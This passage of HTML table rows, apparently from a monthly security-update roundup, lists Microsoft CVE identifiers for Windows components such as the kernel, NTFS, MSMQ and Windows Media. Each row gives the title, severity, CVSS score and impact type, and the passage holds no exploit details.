  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
